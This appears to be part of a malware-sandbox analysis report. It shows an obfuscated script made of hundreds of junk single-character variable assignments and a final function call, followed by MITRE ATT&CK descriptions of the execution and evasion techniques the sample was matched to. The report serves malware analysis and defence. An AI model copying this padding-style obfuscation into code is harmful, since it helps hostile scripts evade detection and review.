524	volbpe = "w";
525	volbpe = "N";
526	volbpe = "3";
527	ycwpftads = "k";
528	ycwpftads = "h";
529	ycwpftads = "A";
530	ycwpftads = "R";
531	ycwpftads = "S";
532	ycwpftads = "f";
533	ycwpftads = "x";
534	ycwpftads = "I";
535	ycwpftads = "V";
536	ycwpftads = "L";
537	ycwpftads = "o";
538	ycwpftads = "k";
539	ycwpftads = "S";
540	ycwpftads = "e";
541	ycwpftads = "E";
542	ycwpftads = "1";
543	vltiqcy = "q";
544	vltiqcy = "x";
545	vltiqcy = "F";
546	vltiqcy = "m";
547	vltiqcy = "i";
548	vltiqcy = "x";
549	tuyrfatw = "S";
550	tuyrfatw = "h";
551	tuyrfatw = "n";
552	tuyrfatw = "z";
553	tuyrfatw = "K";
554	tuyrfatw = "b";
555	tuyrfatw = "G";
556	tuyrfatw = "c";
557	tuyrfatw = "a";
558	tuyrfatw = "x";
559	tuyrfatw = "S";
560	tuyrfatw = "i";
561	tuyrfatw = "S";
562	tuyrfatw = "e";
563	rnmywsj = "x";
564	rnmywsj = "V";
565	rnmywsj = "w";
566	rnmywsj = "Y";
567	rnmywsj = "L";
568	rnmywsj = "p";
569	rnmywsj = "Z";
570	rnmywsj = "c";
571	rnmywsj = "d";
572	rnmywsj = "L";
573	rnmywsj = "T";
574	rnmywsj = "Q";
575	rnmywsj = "b";
576	rnmywsj = "g";
577	rnmywsj = "s";
578	rnmywsj = "T";
579	rnmywsj = "n";
580	rnmywsj = "a";
581	rnmywsj = "v";
582	rnmywsj = "g";
583	rnmywsj = "d";
584	rnmywsj = "e";
585	rnmywsj = "e";
586	rnmywsj = "F";
587	rnmywsj = "U";
588	rnmywsj = "P";
589	rnmywsj = "v";
590	rnmywsj = "y";
591	rnmywsj = "h";
592	rnmywsj = ":";
593	uxuhni = "T";
594	uxuhni = "Y";
595	uxuhni = "Q";
596	uxuhni = "Q";
597	uxuhni = "J";
598	uxuhni = "a";
599	uxuhni = "A";
600	uxuhni = "C";
601	uxuhni = "y";
602	uxuhni = "r";
603	uxuhni = "V";
604	uxuhni = "E";
605	uxuhni = "G";
606	uxuhni = "O";
607	uxuhni = "H";
608	uxuhni = "a";
609	uxuhni = "v";
610	uxuhni = "Y";
611	uxuhni = "O";
612	uxuhni = "p";
613	uxuhni = "G";
614	uxuhni = "H";
615	uxuhni = "X";
616	uxuhni = "o";
617	uxuhni = "f";
618	uxuhni = "v";
619	uxuhni = "i";
620	uxuhni = "q";
621	sdonap = "J";
622	sdonap = "x";
623	sdonap = "R";
624	sdonap = "M";
625	sdonap = "s";
626	sdonap = ".";
627	nqmhkl = "V";
628	nqmhkl = "U";
629	nqmhkl = "M";
630	nqmhkl = "F";
631	nqmhkl = "z";
632	nqmhkl = "S";
633	nqmhkl = "P";
634	nqmhkl = "V";
635	nqmhkl = "J";
636	nqmhkl = "a";
637	nqmhkl = "s";
638	nqmhkl = "o";
639	nqmhkl = "H";
640	nqmhkl = "e";
641	nqmhkl = "d";
642	nqmhkl = "i";
643	nqmhkl = "N";
644	nqmhkl = "\"";
645	lfabe = "o";
646	lfabe = "Y";
647	lfabe = "v";
648	lfabe = "R";
649	lfabe = "F";
650	lfabe = "c";
651	lfabe = "h";
652	lfabe = "m";
653	lfabe = "k";
654	lfabe = "V";
655	lfabe = "n";
656	lfabe = "B";
657	lfabe = "j";
658	lfabe = "D";
659	lfabe = "h";
660	lfabe = "d";
661	lfabe = "s";
662	lfabe = "X";
663	lfabe = "x";
664	lfabe = "r";
665	lfabe = "K";
666	lfabe = "I";
667	lfabe = "j";
668	lfabe = "j";
669	lfabe = "k";
670	lfabe = "J";
671	lfabe = "I";
672	lfabe = "G";
673	lfabe = "X";
674	lfabe = "g";
675	lfabe = "M";
676	lfabe = "d";
677	lfabe = "f";
678	lfabe = "a";
679	kwxraeqi = "B";
680	kwxraeqi = "p";
681	kwxraeqi = "Z";
682	kwxraeqi = "i";
683	kwxraeqi = "s";
684	kwxraeqi = "P";
685	kwxraeqi = "x";
686	kwxraeqi = "j";
687	kwxraeqi = "q";
688	kwxraeqi = "T";
689	kwxraeqi = "Z";
690	kwxraeqi = "Q";
691	kwxraeqi = "k";
692	kwxraeqi = "G";
693	kwxraeqi = "T";
694	kwxraeqi = "n";
695	kwxraeqi = "l";
696	kwxraeqi = "V";
697	kwxraeqi = "d";
698	kwxraeqi = "Q";
699	kwxraeqi = "c";
700	kwxraeqi = "X";
701	kwxraeqi = "P";
702	kwxraeqi = "X";
703	kwxraeqi = "K";
704	kwxraeqi = "o";
705	kwxraeqi = "O";
706	kwxraeqi = "a";
707	kwxraeqi = "A";
708	kwxraeqi = "k";
709	kwxraeqi = "x";
710	kwxraeqi = "E";
711	kwxraeqi = "R";
712	kwxraeqi = "o";
713	kwxraeqi = "P";
714	kwxraeqi = "n";
715	kwxraeqi = "l";
716	kwxraeqi = "Y";
717	kwxraeqi = "z";
718	kwxraeqi = "D";
719	kwxraeqi = "j";
720	kwxraeqi = "H";
721	bfznqvcbq = "m";
722	dlavuskbn = "y";
723	dlavuskbn = "d";
724	dlavuskbn = "x";
725	dlavuskbn = "v";
726	dlavuskbn = "Q";
727	dlavuskbn = "G";
728	dlavuskbn = "t";
729	dlavuskbn = "Z";
730	dlavuskbn = "C";
731	dlavuskbn = "d";
732	dlavuskbn = "S";
733	dlavuskbn = "A";
734	dlavuskbn = "y";
735	dlavuskbn = "w";
736	dlavuskbn = "S";
737	dlavuskbn = "P";
738	dlavuskbn = "P";
739	dlavuskbn = "m";
740	dlavuskbn = "Y";
741	dlavuskbn = "q";
742	dlavuskbn = "F";
743	dlavuskbn = "y";
744	dlavuskbn = "o";
745	dlavuskbn = "p";
746	dlavuskbn = "D";
747	dlavuskbn = "d";
748	dlavuskbn = "A";
749	dlavuskbn = "L";
750	dlavuskbn = "F";
751	dlavuskbn = "M";
752	dlavuskbn = "@";
753	noqkwzsgk = "W";
754	noqkwzsgk = "D";
755	noqkwzsgk = "b";
756	noqkwzsgk = "S";
757	noqkwzsgk = "p";
758	noqkwzsgk = "m";
759	noqkwzsgk = "N";
760	noqkwzsgk = "B";
761	noqkwzsgk = "D";
762	noqkwzsgk = "I";
763	noqkwzsgk = "n";
764	noqkwzsgk = "w";
765	noqkwzsgk = "Y";
766	noqkwzsgk = "x";
767	noqkwzsgk = "l";
768	noqkwzsgk = "a";
769	noqkwzsgk = "z";
770	noqkwzsgk = "e";
771	noqkwzsgk = "j";
772	noqkwzsgk = "h";
773	noqkwzsgk = "b";
774	noqkwzsgk = "p";
775	noqkwzsgk = "8";
776	ectpq = "o";
777	ectpq = "d";
778	ectpq = "m";
779	ectpq = "G";
780	ectpq = "S";
781	ectpq = "r";
782	ectpq = "o";
783	ectpq = "b";
784	ectpq = "x";
785	ectpq = "a";
786	ectpq = "q";
787	ectpq = "e";
788	ectpq = "B";
789	ectpq = "O";
790	ectpq = "b";
791	ectpq = "l";
792	ectpq = "Z";
793	ectpq = "g";
794	ectpq = "B";
795	ectpq = "F";
796	ectpq = "g";
797	ectpq = "P";
798	ectpq = "i";
799	ectpq = "o";
800	ectpq = "D";
801	ectpq = "e";
802	ectpq = "u";
803	ectpq = "g";
804	ectpq = " ";
805	eigsf = "G";
806	eigsf = "l";
807	eigsf = "o";
808	eigsf = "u";
809	eigsf = "X";
810	eigsf = "f";
811	eigsf = "K";
812	eigsf = "D";
813	eigsf = "b";
814	eigsf = "S";
815	eigsf = "O";
816	eigsf = "M";
817	eigsf = "B";
818	eigsf = "D";
819	eigsf = "Q";
820	eigsf = "q";
821	eigsf = "c";
822	eigsf = "A";
823	eigsf = "%";
824	yiiacffs = "R";
825	yiiacffs = "Z";
826	yiiacffs = "F";
827	yiiacffs = "j";
828	yiiacffs = "K";
829	yiiacffs = "h";
830	yiiacffs = "Y";
831	yiiacffs = "D";
832	yiiacffs = "q";
833	yiiacffs = "J";
834	yiiacffs = "W";
835	yiiacffs = "W";
836	yiiacffs = "h";
837	yiiacffs = "T";
838	yiiacffs = "a";
839	yiiacffs = "j";
840	yiiacffs = "N";
841	yiiacffs = "H";
842	yiiacffs = "v";
843	yiiacffs = "M";
844	yiiacffs = "L";
845	yiiacffs = "D";
846	yiiacffs = "U";
847	yiiacffs = "Z";
848	yiiacffs = "Z";
849	yiiacffs = "W";
850	yiiacffs = "F";
851	yiiacffs = "b";
852	yiiacffs = "J";
853	yiiacffs = "i";
854	yiiacffs = "L";
855	yiiacffs = "H";
856	yiiacffs = "F";
857	yiiacffs = "Q";
858	yiiacffs = "v";
859	yiiacffs = "B";
860	yiiacffs = "f";
861	yiiacffs = "B";
862	yiiacffs = "n";
863	yiiacffs = "Y";
864	yiiacffs = "I";
865	yiiacffs = "p";
866	yiiacffs = "S";
867	yiiacffs = "g";
868	yiiacffs = "\\";
869	baejwvizx = "W";
870	baejwvizx = "N";
871	baejwvizx = "Y";
872	baejwvizx = "I";
873	baejwvizx = "O";
874	baejwvizx = "V";
875	baejwvizx = "Q";
876	baejwvizx = "Z";
877	baejwvizx = "H";
878	baejwvizx = "u";
879	baejwvizx = "C";
880	baejwvizx = "h";
881	baejwvizx = "A";
882	baejwvizx = "j";
883	baejwvizx = "S";
884	baejwvizx = "c";
885	baejwvizx = "A";
886	baejwvizx = "H";
887	baejwvizx = "y";
888	baejwvizx = "e";
889	baejwvizx = "t";
890	baejwvizx = "p";
891	baejwvizx = "k";
892	baejwvizx = "x";
893	baejwvizx = "N";
894	baejwvizx = "c";
895	baejwvizx = "B";
896	baejwvizx = "Q";
897	baejwvizx = "d";
898	baejwvizx = "F";
899	baejwvizx = "I";
900	baejwvizx = "P";
901	baejwvizx = "R";
902	baejwvizx = "m";
903	baejwvizx = "s";
904	baejwvizx = "L";
905	baejwvizx = "H";
906	baejwvizx = "N";
907	baejwvizx = "p";
908	baejwvizx = "v";
909	baejwvizx = "T";
910	ihppaid = "d";
911	ihppaid = "E";
912	ihppaid = "G";
913	ihppaid = "F";
914	ihppaid = "c";
915	ihppaid = "x";
916	ihppaid = "a";
917	ihppaid = "a";
918	ihppaid = "k";
919	ihppaid = "l";
920	ihppaid = "d";
921	ihppaid = "c";
922	ihppaid = "j";
923	ihppaid = "Z";
924	ihppaid = "P";
925	ihppaid = "J";
926	ihppaid = "B";
927	ihppaid = "G";
928	ihppaid = "A";
929	ihppaid = "r";
930	ihppaid = "D";
931	ihppaid = "R";
932	ihppaid = "C";
933	svqzqlot = "F";
934	svqzqlot = "q";
935	svqzqlot = "t";
936	svqzqlot = "G";
937	svqzqlot = "s";
938	svqzqlot = "T";
939	svqzqlot = "U";
940	svqzqlot = "p";
941	svqzqlot = "U";
942	svqzqlot = "Q";
943	svqzqlot = "h";
944	svqzqlot = "X";
945	svqzqlot = "x";
946	svqzqlot = "z";
947	svqzqlot = "m";
948	svqzqlot = "r";
949	svqzqlot = "w";
950	svqzqlot = "g";
951	svqzqlot = "w";
952	svqzqlot = "y";
953	svqzqlot = "R";
954	svqzqlot = "J";
955	svqzqlot = "k";
956	svqzqlot = "l";
957	svqzqlot = "q";
958	svqzqlot = "Y";
959	svqzqlot = "b";
960	svqzqlot = "M";
961	svqzqlot = "J";
962	svqzqlot = "f";
963	svqzqlot = "V";
964	svqzqlot = "V";
965	svqzqlot = "e";
966	svqzqlot = "U";
967	svqzqlot = "V";
968	svqzqlot = "q";
969	svqzqlot = "Z";
970	svqzqlot = "P";
971	svqzqlot = "6";
972	utpwhpp = "O";
973	utpwhpp = "P";
974	utpwhpp = "W";
975	utpwhpp = "H";
976	utpwhpp = "X";
977	utpwhpp = "t";
978	utpwhpp = "X";
979	utpwhpp = "M";
980	utpwhpp = "e";
981	utpwhpp = "v";
982	utpwhpp = "Y";
983	utpwhpp = "N";
984	utpwhpp = "p";
985	utpwhpp = "g";
986	utpwhpp = "t";
987	nzhtl = "n";
988	nzhtl = "u";
989	nzhtl = "Z";
990	nzhtl = "W";
991	nzhtl = "T";
992	nzhtl = "B";
993	nzhtl = "V";
994	nzhtl = "a";
995	nzhtl = "H";
996	nzhtl = "o";
997	nzhtl = "O";
998	nzhtl = "p";
999	nzhtl = "E";
1000	nzhtl = "P";
1001	nzhtl = "y";
1002	nzhtl = "X";
1003	nzhtl = "K";
1004	nzhtl = "N";
1005	nzhtl = "f";
1006	nzhtl = "i";
1007	nzhtl = "f";
1008	sdfyyyrq = "o";
1009	sdfyyyrq = "z";
1010	sdfyyyrq = "m";
1011	sdfyyyrq = "K";
1012	sdfyyyrq = "T";
1013	sdfyyyrq = "m";
1014	sdfyyyrq = "V";
1015	sdfyyyrq = "R";
1016	sdfyyyrq = "h";
1017	sdfyyyrq = "Y";
1018	sdfyyyrq = "K";
1019	sdfyyyrq = "j";
1020	sdfyyyrq = "O";
1021	sdfyyyrq = "o";
1022	sdfyyyrq = "o";
1023	sdfyyyrq = "w";
1024	sdfyyyrq = "h";
1025	sdfyyyrq = "A";
1026	sdfyyyrq = "g";
1027	sdfyyyrq = "W";
1028	sdfyyyrq = "N";
1029	sdfyyyrq = "q";
1030	sdfyyyrq = "S";
1031	sdfyyyrq = "X";
1032	sdfyyyrq = "O";
1033	sdfyyyrq = "v";
1034	sdfyyyrq = "J";
1035	sdfyyyrq = "D";
1036	sdfyyyrq = "O";
1037	sdfyyyrq = "w";
1038	sdfyyyrq = "C";
1039	sdfyyyrq = "T";
1040	sdfyyyrq = "u";
1041	sdfyyyrq = "F";
1042	yltikb = "g";
1043	yltikb = "r";
1044	yltikb = "b";
1045	yltikb = "q";
1046	yltikb = "n";
1047	bbdpnivqx = "R";
1048	bbdpnivqx = "w";
1049	bbdpnivqx = "Q";
1050	bbdpnivqx = "T";
1051	bbdpnivqx = "X";
1052	bbdpnivqx = "X";
1053	bbdpnivqx = "A";
1054	bbdpnivqx = "W";
1055	iwlhu = "D";
1056	iwlhu = "W";
1057	iwlhu = "D";
1058	iwlhu = "d";
1059	iwlhu = "y";
1060	iwlhu = "l";
1061	iwlhu = "y";
1062	iwlhu = "n";
1063	iwlhu = "q";
1064	iwlhu = "Y";
1065	iwlhu = "r";
1066	iwlhu = "C";
1067	iwlhu = "p";
1068	iwlhu = "I";
1069	iwlhu = "d";
1070	iwlhu = "f";
1071	iwlhu = "Z";
1072	iwlhu = "m";
1073	iwlhu = "O";
1074	iwlhu = "Y";
1075	iwlhu = "M";
1076	iwlhu = "V";
1077	iwlhu = "p";
1078	iwlhu = "b";
1079	tsopelp = "W";
1080	tsopelp = "u";
1081	tsopelp = "q";
1082	tsopelp = "J";
1083	tsopelp = "P";
1084	tsopelp = "N";
1085	nygkxmt = "Y";
1086	nygkxmt = "A";
1087	nygkxmt = "G";
1088	nygkxmt = "w";
1089	nygkxmt = "L";
1090	nygkxmt = "f";
1091	nygkxmt = "Q";
1092	nygkxmt = "j";
1093	nygkxmt = "a";
1094	nygkxmt = "E";
1095	nygkxmt = "J";
1096	nygkxmt = "G";
1097	nygkxmt = "j";
1098	nygkxmt = "N";
1099	nygkxmt = "D";
1100	nygkxmt = "c";
1101	nygkxmt = "p";
1102	nygkxmt = "S";
1103	nygkxmt = "Z";
1104	nygkxmt = "B";
1105	nygkxmt = "V";
1106	nygkxmt = "s";
1107	nygkxmt = "r";
1108	nygkxmt = "X";
1109	nygkxmt = "X";
1110	nygkxmt = "m";
1111	nygkxmt = "Q";
1112	nygkxmt = "E";
1113	nygkxmt = "j";
1114	nygkxmt = "b";
1115	nygkxmt = "d";
1116	nygkxmt = "Q";
1117	nygkxmt = "S";
1118	nygkxmt = "I";
1119	nygkxmt = "o";
1120	nygkxmt = "Z";
1121	nygkxmt = "y";
1122	nygkxmt = "A";
1123	nygkxmt = "I";
1124	nygkxmt = "U";
1125	nygkxmt = "k";
1126	nygkxmt = "e";
1127	nygkxmt = "M";
1128	nygkxmt = "w";
1129	icqvk = "D";
1130	icqvk = "J";
1131	icqvk = "g";
1132	icqvk = "P";
1133	icqvk = "D";
1134	icqvk = "H";
1135	icqvk = "c";
1136	icqvk = "D";
1137	icqvk = "b";
1138	icqvk = "d";
1139	icqvk = "d";
1140	icqvk = "z";
1141	icqvk = "V";
1142	icqvk = "V";
1143	icqvk = "v";
1144	icqvk = "Y";
1145	icqvk = "i";
1146	icqvk = "a";
1147	icqvk = "b";
1148	icqvk = "A";
1149	icqvk = "c";
1150	icqvk = "t";
1151	icqvk = "g";
1152	icqvk = "a";
1153	icqvk = "U";
1154	icqvk = "l";
1155	icqvk = "B";
1156	icqvk = "v";
1157	icqvk = "y";
1158	icqvk = "S";
1159	icqvk = "O";
1160	icqvk = "w";
1161	icqvk = "t";
1162	icqvk = "L";
1163	icqvk = "V";
1164	icqvk = "Z";
1165	icqvk = "x";
1166	icqvk = "y";
1167	icqvk = "t";
1168	icqvk = "u";
1169	vxhzr = "L";
1170	vxhzr = "r";
1171	vxhzr = "i";
1172	vxhzr = "i";
1173	vxhzr = "Q";
1174	gaddws = "b";
1175	gaddws = "w";
1176	gaddws = "C";
1177	gaddws = "U";
1178	gaddws = "Y";
1179	gaddws = "l";
1180	gaddws = "J";
1181	gaddws = "w";
1182	gaddws = "P";
1183	gaddws = "W";
1184	gaddws = "c";
1185	gaddws = "S";
1186	gaddws = "Y";
1187	gaddws = "U";
1188	gaddws = "B";
1189	gaddws = "g";
1190	gaddws = "v";
1191	gaddws = "m";
1192	gaddws = "Y";
1193	gaddws = "t";
1194	gaddws = "F";
1195	gaddws = "D";
1196	gaddws = "V";
1197	gaddws = "x";
1198	gaddws = "q";
1199	gaddws = "s";
1200	gaddws = "H";
1201	gaddws = "g";
1202	gaddws = "k";
1203	gaddws = "T";
1204	gaddws = "N";
1205	gaddws = "g";
1206	gaddws = "i";
1207	gaddws = "v";
1208	gaddws = "L";
1209	gaddws = "M";
1210	gaddws = "U";
1211	gaddws = "T";
1212	gaddws = "C";
1213	gaddws = "l";
1214	gaddws = "B";
1215	gaddws = "g";
1216	gaddws = "U";
1217	gaddws = "R";
1218	tvcdc = "N";
1219	tvcdc = "o";
1220	tvcdc = "d";
1221	tvcdc = "G";
1222	tvcdc = "r";
1223	tvcdc = "y";
1224	tvcdc = "i";
1225	tvcdc = "H";
1226	tvcdc = "E";
1227	tvcdc = "c";
1228	tvcdc = "x";
1229	tvcdc = "S";
1230	tvcdc = "N";
1231	tvcdc = "r";
1232	tvcdc = "f";
1233	tvcdc = "f";
1234	tvcdc = "K";
1235	tvcdc = "F";
1236	tvcdc = "O";
1237	tvcdc = "w";
1238	tvcdc = "Y";
1239	tvcdc = "D";
1240	tvcdc = "D";
1241	tvcdc = "E";
1242	tvcdc = "M";
1243	tvcdc = "p";
1244	tvcdc = "V";
1245	tvcdc = "T";
1246	tvcdc = "Y";
1247	tvcdc = "O";
1248	tvcdc = "i";
1249	tvcdc = "R";
1250	tvcdc = "x";
1251	tvcdc = "A";
1252	tvcdc = "u";
1253	tvcdc = "V";
1254	tvcdc = "m";
1255	tvcdc = "K";
1256	tvcdc = "&";
1257	vqalraj = "D";
1258	vqalraj = "w";
1259	vqalraj = "L";
1260	vqalraj = "V";
1261	vqalraj = "S";
1262	vqalraj = "L";
1263	vqalraj = "P";
1264	vqalraj = "k";
1265	vqalraj = "D";
1266	vqalraj = "P";
1267	vqalraj = "z";
1268	vqalraj = "n";
1269	vqalraj = "j";
1270	vqalraj = "l";
1271	vqalraj = "c";
1272	emytibz = "y";
1273	emytibz = "P";
1274	emytibz = "O";
1275	emytibz = "K";
1276	emytibz = "I";
1277	emytibz = "x";
1278	emytibz = "s";
1279	emytibz = "v";
1280	emytibz = "K";
1281	emytibz = "g";
1282	emytibz = "k";
1283	emytibz = "E";
1284	emytibz = "P";
1285	emytibz = "n";
1286	emytibz = "K";
1287	emytibz = "a";
1288	emytibz = "n";
1289	emytibz = "x";
1290	emytibz = "P";
1291	emytibz = "c";
1292	emytibz = "U";
1293	emytibz = "i";
1294	emytibz = "I";
1295	emytibz = "Q";
1296	emytibz = "U";
1297	emytibz = "n";
1298	emytibz = "R";
1299	emytibz = "I";
1300	emytibz = "T";
1301	emytibz = "I";
1302	emytibz = "F";
1303	emytibz = "K";
1304	khglhdy = "A";
1305	khglhdy = "U";
1306	khglhdy = "U";
1307	khglhdy = "y";
1308	khglhdy = "v";
1309	khglhdy = "R";
1310	khglhdy = "t";
1311	khglhdy = "x";
1312	khglhdy = "I";
1313	khglhdy = "Q";
1314	khglhdy = "o";
1315	khglhdy = "D";
1316	khglhdy = "L";
1317	khglhdy = "M";
1318	khglhdy = "N";
1319	khglhdy = "f";
1320	khglhdy = "R";
1321	khglhdy = "C";
1322	khglhdy = "g";
1323	khglhdy = "w";
1324	khglhdy = "i";
1325	vzquqjp = "o";
1326	vzquqjp = "K";
1327	vzquqjp = "j";
1328	vzquqjp = "s";
1329	vzquqjp = "W";
1330	vzquqjp = "m";
1331	vzquqjp = "4";
1332	qvogia = "u";
1333	qvogia = "O";
1334	qvogia = "F";
1335	qvogia = "v";
1336	qvogia = "u";
1337	qvogia = "U";
1338	qvogia = "h";
1339	qvogia = "I";
1340	qvogia = "a";
1341	qvogia = "x";
1342	qvogia = "x";
1343	qvogia = "A";
1344	qvogia = "A";
1345	qvogia = "X";
1346	qvogia = "K";
1347	qvogia = "n";
1348	qvogia = "e";
1349	qvogia = "D";
1350	qvogia = "U";
1351	qvogia = "y";
1352	qvogia = "R";
1353	qvogia = "p";
1354	qvogia = "Q";
1355	qvogia = "a";
1356	qvogia = "B";
1357	qvogia = "w";
1358	qvogia = "Q";
1359	qvogia = "L";
1360	qvogia = "R";
1361	qvogia = "j";
1362	fvbfxrnq = "h";
1363	fvbfxrnq = "r";
1364	fvbfxrnq = "U";
1365	fvbfxrnq = "b";
1366	fvbfxrnq = "l";
1367	fvbfxrnq = "c";
1368	fvbfxrnq = "k";
1369	fvbfxrnq = "L";
1370	fvbfxrnq = "e";
1371	fvbfxrnq = "G";
1372	fvbfxrnq = "s";
1373	fvbfxrnq = "i";
1374	fvbfxrnq = "t";
1375	fvbfxrnq = "L";
1376	fvbfxrnq = "c";
1377	fvbfxrnq = "C";
1378	fvbfxrnq = "i";
1379	fvbfxrnq = "b";
1380	fvbfxrnq = "L";
1381	fvbfxrnq = "W";
1382	fvbfxrnq = "r";
1383	fvbfxrnq = "k";
1384	fvbfxrnq = "i";
1385	fvbfxrnq = "j";
1386	fvbfxrnq = "d";
1387	fvbfxrnq = "R";
1388	fvbfxrnq = "J";
1389	fvbfxrnq = "a";
1390	fvbfxrnq = "s";
1391	fvbfxrnq = "p";
1392	fvbfxrnq = "k";
1393	fvbfxrnq = "n";
1394	fvbfxrnq = "p";
1395	fvbfxrnq = "L";
1396	cjpqyeclb = "J";
1397	cjpqyeclb = "F";
1398	cjpqyeclb = "d";
1399	cjpqyeclb = "r";
1400	cjpqyeclb = "z";
1401	cjpqyeclb = "f";
1402	cjpqyeclb = "S";
1403	cjpqyeclb = "m";
1404	cjpqyeclb = "n";
1405	cjpqyeclb = "G";
1406	cjpqyeclb = "H";
1407	cjpqyeclb = "o";
1408	cjpqyeclb = "v";
1409	cjpqyeclb = "V";
1410	cjpqyeclb = "t";
1411	cjpqyeclb = "Z";
1412	cjpqyeclb = "s";
1413	cjpqyeclb = "j";
1414	cjpqyeclb = "U";
1415	cjpqyeclb = "u";
1416	cjpqyeclb = "c";
1417	cjpqyeclb = "T";
1418	cjpqyeclb = "q";
1419	cjpqyeclb = "j";
1420	cjpqyeclb = "l";
1421	cjpqyeclb = "a";
1422	cjpqyeclb = "W";
1423	cjpqyeclb = "v";
1424	cjpqyeclb = "H";
1425	cjpqyeclb = "s";
1426	cjpqyeclb = "s";
1427	cjpqyeclb = "T";
1428	cjpqyeclb = "t";
1429	cjpqyeclb = "y";
1430	cjpqyeclb = "u";
1431	cjpqyeclb = "u";
1432	cjpqyeclb = "r";
1433	tlaxjzm = "h";
1434	tlaxjzm = "C";
1435	tlaxjzm = "g";
1436	tlaxjzm = "o";
1437	tlaxjzm = "p";
1438	tlaxjzm = "M";
1439	tlaxjzm = "u";
1440	tlaxjzm = "T";
1441	tlaxjzm = "U";
1442	tlaxjzm = "g";
1443	tlaxjzm = "j";
1444	tlaxjzm = "F";
1445	tlaxjzm = "s";
1446	tlaxjzm = "h";
1447	tlaxjzm = "M";
1448	tlaxjzm = "X";
1449	tlaxjzm = "r";
1450	tlaxjzm = "j";
1451	tlaxjzm = "L";
1452	tlaxjzm = "e";
1453	tlaxjzm = "u";
1454	tlaxjzm = "V";
1455	tlaxjzm = "d";
1456	ckdwcw ( );	ckdwcw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

